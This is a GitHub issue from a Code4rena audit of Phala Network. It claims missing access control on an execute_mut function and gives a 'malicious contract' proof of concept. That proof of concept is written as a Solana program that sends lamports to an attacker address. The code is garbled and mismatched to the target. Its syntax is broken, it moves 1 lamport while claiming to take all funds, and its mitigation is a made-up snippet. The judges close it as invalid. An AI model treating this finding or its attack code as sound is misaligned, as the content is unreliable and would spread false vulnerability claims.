code-423n4 / 2024-03-phala-network-findings

0 stars 0 forks source link

Access Control #4

Closed c4-bot-9 closed 3 months ago

c4-bot-9 commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-03-phala-network/blob/main/phala-blockchain/crates/pink/runtime/src/storage/mod.rs#L79

Vulnerability details

Impact

One possible vulnerability in the provided contract is the lack of access control on the execute_mut function. This function allows anyone to execute arbitrary code on the contract and make changes to the storage. An attacker could potentially exploit this vulnerability to steal funds or modify data in the contract.

Proof of Concept

To exploit this vulnerability, you could create a malicious contract that calls the execute_mut function on the target contract and passes in a closure that transfers all of the contract's funds to the attacker's address. You could then deploy the malicious contract on the same network as the target contract and call its function to execute the attack.

use solana_program::{ account_info::{next_account_info, AccountInfo}, entrypoint, entrypoint::ProgramResult, msg, program_error::ProgramError, pubkey::Pubkey, }; use target_contract::Storage;

[repr(C)]

[derive(Clone, Debug)]

pub struct MaliciousContract { pub attacker_address: Pubkey, pub target_contract_address: Pubkey, }

impl MaliciousContract { fn new(attacker_address: Pubkey, target_contract_address: Pubkey) -> Self { Self { attacker_address, target_contract_address, } } }

impl AccountDescriptor for MaliciousContract { const DISCRIMINATOR: [u8; 8] = b"MALICIO"; const LEN: usize = 32 2; }

entrypoint!(process_instruction);

pub fn process_instruction( program_id: &Pubkey, accounts: &[AccountInfo], instruction_data: &[u8], ) -> ProgramResult { let account_info_iter = &mut accounts.iter(); let malicious_contract_account = next_account_info(account_info_iter)?; let malicious_contract = MaliciousContract::try_from_slice(&malicious_contract_account.data.borrow())?;

if instruction_data.len() != 0 {
    return Err(ProgramError::InvalidInstructionData);
}

let target_contract_account = next_account_info(account_info_iter)?;

if target_contract_account.key != &malicious_contract.target_contract_address {
    return Err(ProgramError::InvalidAccountData);
}

let mut target_contract_storage = Storage::new(target_contract_account.clone());

let ix = solana_program::system_instruction::transfer(
    &malicious_contract.target_contract_address,
    &malicious_contract.attacker_address,
    1,
);

let signer_seeds = &[
    b"target_contract",
    &malicious_contract.target_contract_address.to_bytes(),
];

let signer = &[&signer_seeds[..]];

invoke_signed(
    &ix,
    &[
        target_contract_account.clone(),
        AccountInfo::new(
            &malicious_contract.attacker_address,
            false,
            false,
            &[],
        ),
    ],
    signer,
)?;

target_contract_storage.execute_mut(
    &solana_program::sysvar::clock::Clock::get()?.unix_timestamp,
    || {
        msg!(
            "Transferred {} lamports from the target contract to the attacker's

address", 1 ); }, )?;

Ok(()) }

1.Deploy the malicious contract on the same network as the target contract. 2.Call the malicious contract's execute_mut function, passing in the target contract's address as an argument. 3.The malicious contract will then call the execute_mut function on the target contract and transfer all of the contract's funds to the attacker's address.

Tools Used

Manual

Recommended Mitigation Steps

Add Access Control to the execute_mut Function:

if *caller != authorized_address { return Err(ProgramError::Unauthorized); }

Assessed type

Access Control

c4-pre-sort commented 3 months ago

141345 marked the issue as insufficient quality report

141345 commented 3 months ago

seems invalid

OpenCoreCH commented 3 months ago

Solana program as PoC?

c4-judge commented 3 months ago

OpenCoreCH marked the issue as unsatisfactory: Invalid